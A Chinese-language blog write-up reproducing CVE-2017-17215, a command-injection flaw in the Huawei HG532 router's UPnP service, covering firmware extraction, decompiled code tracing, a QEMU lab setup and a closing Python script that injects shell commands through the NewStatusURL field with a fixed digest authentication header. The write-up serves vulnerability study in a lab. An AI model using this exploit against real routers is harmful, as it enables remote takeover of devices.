华为HG532路由器RCE漏洞 CVE-2017-17215 复现

news/2025/3/29 3:10:18/

华为HG532路由器RCE漏洞 CVE-2017-17215

CVE-Description

Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.

华为 HG532 的某些定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以向 37215 端口发送恶意数据包来发起攻击。成功利用此漏洞可能导致任意代码被远程执行。

0x00 文件提取

直接用binwalk -Me .bin,在squashfs-root//bin/下有一个upnp,就是漏洞文件

UPnP:

UPnP(通用即插即用)是一种基于网络协议的技术框架,允许设备在无需手动配置的情况下自动发现、连接和通信,广泛应用于家庭网络、智能家居和物联网场景,但需注意其潜在的安全性和性能问题。

checksec upnp查看其信息:

Arch:     mips-32-big
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

没有开启任何包含。

0x01 漏洞定位

用官方报告中提及的NewStatusURLNewDownloadURL字符串定位

在这里插入图片描述

得到所在函数的源码:

int __fastcall sub_407B20(int a1)
{int ChildNodeByName; // $s1const char *v4; // [sp+20h] [-40Ch] BYREFconst char *v5; // [sp+24h] [-408h] BYREF_BYTE v6[1028]; // [sp+28h] [-404h] BYREFChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewDownloadURL", 0, &v4);if ( !ChildNodeByName ){if ( v4 ){ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewStatusURL", 0, &v5);if ( !ChildNodeByName ){if ( v5 ){snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);system(v6);}}}}return ChildNodeByName;
}

这里直接将变量值v4,v5拼接进语句中,再传入system函数执行,这就是漏洞点

snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);system(v6);

这段代码的逻辑大概可以看出来是从XML中提取出NewDownloadURL和NewStatusURL,然后拼接进命令里执行

也就是这样:

upg -g -U <NewDownloadURL> -t '1 Firmware Upgrade Image' -c upnp -r <NewStatusURL> -d -b

但这个漏洞函数并没有被直接引用:

去文件系统里查查:

$ grep -r 'NewDownloadURL'                             
grep: bin/upnp: 匹配到二进制文件
etc/upnp/DevUpg.xml:<name>NewDownloadURL</name>$ grep -r DevUpg.xml                
grep: bin/upnp: 匹配到二进制文件

DevUpg.xml只在upnp文件中存在,继续寻找:

int ATP_UPNP_RegDeviceAndService()
{......v0 = ATP_UPnP_RegDevice(0, dword_426F54, "InternetGatewayDevice:1", 3, 0, 0, &v25);v1 = ATP_UPnP_RegService(v25, "urn:www-huawei-com:service:DeviceUpgrade:1", "DevUpg.xml", 2, 0, 0, &v26);v2 = ATP_UPnP_RegService(v25, "Layer3Forwarding:1", "L3Fwd.xml", 3, 0, 0, &v27);v3 = ATP_UPnP_RegService(v25, "LANConfigSecurity:1", "LANSec.xml", 2, 0, 0, &v29);result = v1+ v0+ v2+ v3+ ATP_UPnP_RegService(v25, "urn:www-huawei-com:service:DeviceConfig:1", "DevCfg.xml", 2, 0, 0, &v28);if ( !result ){v43 = ATP_UPnP_RegDevice(v25, 0, "WANDevice:1", 3, 1, 0, &v31);v5 = ATP_UPnP_RegService(v31, "WANCommonInterfaceConfig:1", "WanCommonIfc1.xml", 2, 0, 0, &v32);v96 = ATP_UPnP_RegService(v31, "WANDSLInterfaceConfig:1", "WanDslIfCfg.xml", 3, 0, 0, &v30);v6 = ATP_UPnP_RegDevice(v31, 0, "WANConnectionDevice:1", 3, 1, 0, &v33);v7 = ATP_UPnP_RegService(v33, "WANDSLLinkConfig:1", "WanDslLink.xml", 2, 0, 0, &v41);v8 = ATP_UPnP_RegService(v33, "WANIPConnection:1", "WanIpConn.xml", 3, 1, 0, &v35);v9 = ATP_UPnP_RegService(v33, "WANPPPConnection:1", "WanPppConn.xml", 3, 1, 0, &v34);v10 = ATP_UPnP_RegService(v33, "WANEthernetConnectionManagement:1", "WanEthConnMgt.xml", 2, 0, 0, &v36);v11 = ATP_UPnP_RegService(v33, "WANEthernetLinkConfig:1", "WanEthLinkCfg.xml", 2, 0, 0, &v37);v12 = ATP_UPnP_RegDevice(v25, 0, "LANDevice:1", 2, 1, 0, &v38);v14 = ATP_UPnP_RegService(v38, "LANHostConfigManagement:1", "LanHostCfgMgmt.xml", 2, 0, 0, &v39);v13 = ATP_UPnP_RegService(v38, "WLANConfiguration:1", "WLANCfg.xml", 2, 1, 0, &v40);v42 = ATP_UPNP_RegAction(v26, 0);......

跟进ATP_UPnP_RegDevice:

int __fastcall ATP_UPnP_RegService(int a1, int a2, const char *a3, int a4, int a5, int a6, int **a7)
{
......if ( !g_pcDescPath )goto LABEL_111;snprintf(v81, 128, "%s/%s", (const char *)g_pcDescPath, a3);if ( TSP_XML_ParseFile(v81, &v77) )goto LABEL_111;v40 = ATP_UPNP_StrDup(a3);......

函数逻辑为:

1、注册 UPnP 服务ATP_UPnP_RegService),每个服务对应一个 XML 文件。

2、检查是否已有该服务,如果已有,直接复制旧的服务数据。

3、解析 XML,提取 状态变量(stateVariable)动作(ActionList)

4、将服务挂载到设备上,最终注册完成。

所以漏洞函数对应的就是DeviceUpgrade设备升级这个服务。

继续跟进ATP_UPNP_RegAction:

int __fastcall ATP_UPNP_RegAction(int a1, int a2)
{int n1074331648; // $v0_DWORD *v4; // $s0char *v5; // $s2int v6; // $s1if ( !a1 )return 1074331648;n1074331648 = 1074331648;if ( *(_DWORD *)(a1 + 48) ){v4 = *(_DWORD **)(a1 + 36);if ( v4 ){v5 = (&g_astActionArray)[4 * a2];         // "Upgrade"while ( 1 ){if ( (v4[1] & 0x40000000) != 0 ){v6 = *v4;if ( !strcmp(*v4, v5) )break;}v4 = (_DWORD *)v4[4];n1074331648 = 1074331648;if ( !v4 )return n1074331648;}ATP_UPNP_Free(v6);v4[1] &= ~0x40000000u;*v4 = a2;return 0;}}return n1074331648;
}

这里有个 _Upgrade_ = (&g_astActionArray)[4 * a2]; // "Upgrade"

在g_astActionArray处,做全局变量修复后,发现这是一个虚表,且存在漏洞函数sub_407B20

在这里插入图片描述

这个虚表还会被UPnPGetActionByName调用

在这里插入图片描述

UPnPGetActionByName:

char *__fastcall UPnPGetActionByName(int a1, int a2, int a3, _DWORD *a4)
{......v10 = *i;v11 = &(&g_astActionArray)[4 * *i];     // "Upgrade"if ( !strcmp(*v11, a2) && (!v11[1] || !strcmp(v11[1], a3)) ){if ( a4 )*a4 = (&g_astActionArray)[4 * v10 + 3];// "Upgrade"// "Upgrade"return (&g_astActionArray)[4 * *i + 2];......

这部分取值并调用返回函数,这里就是调用漏洞函数的位置,下面继续跟进,看如何触发UPnPGetActionByName

在sub_40B198里找到了调用

int __fastcall sub_40B198(_DWORD *a1, int a2)
{......if ( ATP_HTTP_ClientRecvAllBody(a2, v2, &v37, 0) )return 1074331659;v5 = *(_DWORD *)(v2 + 8);if ( strncmp(v5, "/ctrlu/", 7) || (*a1 & 2) != 0 ){ServiceByUrl = UpnpGetServiceByUrl(v5, &v36);......v47[14] = 0;if ( !ATP_XML_GetChildNodeByName(v38, "Header", &v41, 0) )ATP_XML_GetChildNodeByName(v41, "SessionID", 0, &v47[14]);if ( ATP_XML_GetChildNodeByName(v38, "Body", &v39, 0)|| (NodeFirstChild = TSP_XML_GetNodeFirstChild(v39), (NodeFirstChild_1 = NodeFirstChild) == 0)|| (v42 = 0, TSP_XML_GetNodeValue(NodeFirstChild, 0, &v42, &v43, 0))|| !v43 ){v8 = 0;TSP_XML_FreeNode(v38);n1074331658 = 1074331658;goto LABEL_23;}......ActListByActName = UpnpGetActListByActName();if ( ActListByActName ){snprintf(tr064_set_action(%s)_failed__ErrorCode:_%d_, 256, "upnp set action(%s)", (const char *)v47[9]);v30 = *(const char ***)(ActListByActName + 8);if ( !v30 || *(_DWORD *)(ActListByActName + 12) )goto LABEL_70;do{if ( !*((_DWORD *)v30[1] + 2) ){if ( !*v30 )goto LABEL_63;v31 = (const char *)sub_40A618(v47, *v30);if ( !v31 )goto LABEL_63;v33 = strlen(tr064_set_action(%s)_failed__ErrorCode:_%d_);snprintf(&tr064_set_action(%s)_failed__ErrorCode:_%d_[v33],256 - v33,"[param %s, value:%s]",*v30,v31);}if ( strcmp(v47[9], "SetConfigPassword") ){v46[0] = *(_DWORD *)(g_pstUPnPStack + 24);v25 = *(_DWORD *)(g_pstUPnPStack + 32);}

这里有一个 if ( strncmp(v5, "/ctrlu/", 7) || (*a1 & 2) != 0 ) 做了url的限制(另外该函数中还有一部分SetConfigPassword,不知道这里会不会也存在漏洞)

/ctrlu/就是传入的url,后面跟着参数,至此找到了漏洞函数最上层的入口。

0x02 漏洞利用

看网上都说upnp服务需要通过32715端口来启动,但无一例外都没有说具体源码在哪。

实际上去看main函数,很容易看到这一部分,创建 了UPnP HTTP 服务器,监听 37215 端口

    if ( Server_1 < 0 ){Server = ATP_UTIL_SocketCreateServer(0, 37215, 0);Server_1 = Server;if ( Server < 0 ){v17 = *(_DWORD *)_errno_location();tr064_reg_msg_db_proc_failed:%X_n = "Create upnp http socket failed: %d.\n";goto LABEL_36;}listen(Server, 20);}

所以我们需要去找其他有用到37215端口的程序

找到了bin/mic,在mic文件中,不知为何,我并没有找到相关的源码

$ grep -ra '37215'
bin/mic:cmsCms not started yet.consolewebcwmptelnetdupnp|37215|t4;|37443|s4dnsbrctl addbr br0:9 2> /dev/nullifconfig br0:9 169.254.100.156 netmask 255.0.0.0 2> /dev/nullifconfig br0:9 up 2> /dev/null%s169.254.100.156ifconfig br0:9 down 2> /dev/nullbrctl delbr br0:9 2> /dev/nullbftpdCreate ipv6 socket for bftpd with port %d.

漏洞披露里说可以通过运行/bin/mic文件来打开37215端口,打开37215端口,并向该端口下的/ctrlt/DeviceUpgrade_1地址发送数据包,才能启用UPnP服务。

可以用sudo nmap 192.168.192.133 -p1-65535命令扫描到qemu虚拟机中所有打开的端口,或者用nc -vv 192.168.192.133 37215命令看看能否成功连接上37215端口

sudo qemu-system-mips \-M malta  \ -kernel vmlinux-2.6.32-5-4kc-malta   \-hda debian_squeeze_mips_standard.qcow2  \ -append "root=/dev/sda1 console=tty0"   \-netdev tap,id=tapnet,ifname=tap0,script=no   \-device rtl8139,netdev=tapnet  
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0"  -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet  sudo qemu-system-mips \-M malta -kernel vmlinux-2.6.32-5-4kc-malta \-hda debian_squeeze_mips_standard.qcow2 \-append "root=/dev/sda1 console=tty0" \-net nic,macaddr=00:16:3e:00:00:01 \-net tap

下载qemu启动虚拟机所需要的“镜像” 这里采用的是内核态模拟

wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2  
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

创建虚拟网桥,实现虚拟机内部和Ubuntu的连接

sudo apt-get install bridge-utils  
sudo brctl addbr Virbr0  
sudo ifconfig Virbr0 192.168.153.1/24 up

经典<a class=华为路由器漏洞复现详细分析(包括整个漏洞链)" />

创建tap0接口 并添加网桥

sudo tunctl -t tap0  
sudo ifconfig tap0 192.168.153.11/24 up  
sudo brctl addif Virbr0 tap0

经典<a class=华为路由器漏洞复现详细分析(包括整个漏洞链)" />
写一个启动脚本start.sh

#!/bin/bash  sudo qemu-system-mips   -M malta   -kernel vmlinux-2.6.32-5-4kc-malta   -hda debian_squeeze_mips_standard.qcow2   -append "root=/dev/sda1 console=tty0"   -netdev tap,id=tapnet,ifname=tap0,script=no   -device rtl8139,netdev=tapnet   -nographic

经典<a class=华为路由器漏洞复现详细分析(包括整个漏洞链)" />

增加一个IP 检测双ping 是否能ping通

ifconfig eth0 192.168.153.3/24 up

经典<a class=华为路由器漏洞复现详细分析(包括整个漏洞链)" />
然后把文件系统复制到我们新启动的虚拟机中

sudo scp -r ./squashfs-root root@192.168.153.3:/root/

然后挂载启动

mount -o bind /dev ./squashfs-root/dev  
mount -t proc /proc ./squashfs-root/proc  
chroot squashfs-root sh

这里根据漏洞分析 是要启动upnpmic这两个接口。

由于启动mic的时候 会把eth0的IP弄没 因此我们通过SSH链接的方式 远程启动 然后利用虚拟机重新启动eth0就可以外部访问了。

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa root@192.168.153.3  
chroot squashfs-root sh  
./bin/upnp  
./bin/mic

启动后我们发现

经典<a class=华为路由器漏洞复现详细分析(包括整个漏洞链)" />

eth0没了 我们重新启动

ifconfig eth0 192.168.153.3/24 up

在宿主机测试:

nc -vv 192.168.153.3 37215

经典<a class=华为路由器漏洞复现详细分析(包括整个漏洞链)" />

环境启动成功

在这里插入图片描述

用下面的脚步即可完成复现

import requests   
import sys
headers = {  "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"  
}  data = f'''<?xml version="1.0" ?>  
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">  <NewStatusURL>;{sys.argv[1]};</NewStatusURL>  <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>  </u:Upgrade>  
</s:Body>  
</s:Envelope>  
'''  
requests.post('http://192.168.153.3:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

复现成功,可以看到在mic的运行输出中打印了ls的返回值

在这里插入图片描述

参考链接

https://research.checkpoint.com/2017/good-zero-day-skiddie/

https://cn-sec.com/archives/3690438.html


http://www.ppmy.cn/news/1582911.html

相关文章

从 0 到 1:深度学习模型,重构世界的数字蓝图

深度学习模型自萌芽始&#xff0c;借 C 构建并优化&#xff0c;从基础理论到多领域实践。于计算机视觉、医疗、金融等发挥作用&#xff0c;重构世界数字蓝图。虽面临数据、解释性等挑战&#xff0c;但其未来创新与跨领域融合发展&#xff0c;仍值得期待。 目录 一本篇背景&…

机器学习-聚类模型

一.K-Means&#xff08;需预设簇数) 1.肘部法 肘部法通过计算不同聚类数下的总平方误差&#xff08;SSE&#xff09;&#xff0c;寻找SSE下降速度明显减缓的点&#xff0c;即“肘部”。 观察曲线&#xff0c;找到SSE下降速度明显减缓的点&#xff0c;该点即为最佳k值 2.轮廓…

【计算机网络】网络简介

文章目录 1. 局域网与广域网1.1 局域网1.2 广域网 2. 路由器和交换机3. 五元组3.1 IP和端口3.2 协议3.3 协议分层 4. OSI七层网络协议5. TCP/IP五层模型5.1 TCP/IP模型介绍5.2 网络设备所在分层 6. 封装与分用6.1 数据包的称谓6.2 封装6.3 分用 1. 局域网与广域网 1.1 局域网 …

深入理解 Linux 基础 IO:从文件操作到缓冲区机制

亲爱的读者朋友们&#x1f603;&#xff0c;此文开启知识盛宴与思想碰撞&#x1f389;。 快来参与讨论&#x1f4ac;&#xff0c;点赞&#x1f44d;、收藏⭐、分享&#x1f4e4;&#xff0c;共创活力社区。 在 Linux 系统中&#xff0c;文件输入输出&#xff08;IO&#xff09;…

选数异或 第十三届蓝桥杯大赛软件赛省赛C/C++ 大学 A 组

选数异或 题目来源 第十三届蓝桥杯大赛软件赛省赛C/C 大学 A 组 原题链接 第十三届蓝桥杯大赛软件赛省赛C/C 大学 A 组 选数异或 https://www.lanqiao.cn/problems/2081/learning/ 题目描述 题目描述 给定一个长度为 n n n 的数列 A 1 , A 2 , ⋯ , A n A_{1}, A_{2},…

【AI News | 20250323】每日AI进展

AI Repos 1、Fin-R1 Fin-R1 是一款针对金融领域复杂推理的大型语言模型&#xff0c;由上海财经大学统计与数据科学学院张立文教授与其领衔的金融大语言模型课题组&#xff08;SUFE-AIFLM-Lab&#xff09;联合财跃星辰研发并开源发布。该模型以 Qwen2.5-7B-Instruct 为基座&…

Vue 3 项目实现国际化指南 i18n

引言 在开发现代 Web 应用时&#xff0c;国际化&#xff08;Internationalization&#xff0c;简称 i18n&#xff09;已经成为一个不可或缺的功能。无论是面向全球用户的商业网站&#xff0c;还是需要支持多语言的企业应用&#xff0c;良好的国际化支持都能显著提升用户体验。本…

C语言-装饰器模式详解与实践 - LED控制系统

文章目录 C语言装饰器模式详解与实践 - LED控制系统1. 什么是装饰器模式&#xff1f;2. 为什么需要装饰器模式&#xff1f;3. 实际应用场景4. 代码实现4.1 头文件 (led_decorator.h)4.2 实现文件 (led_decorator.c)4.3 使用示例 (main.c) 5. 代码分析5.1 关键设计点5.2 实现特点…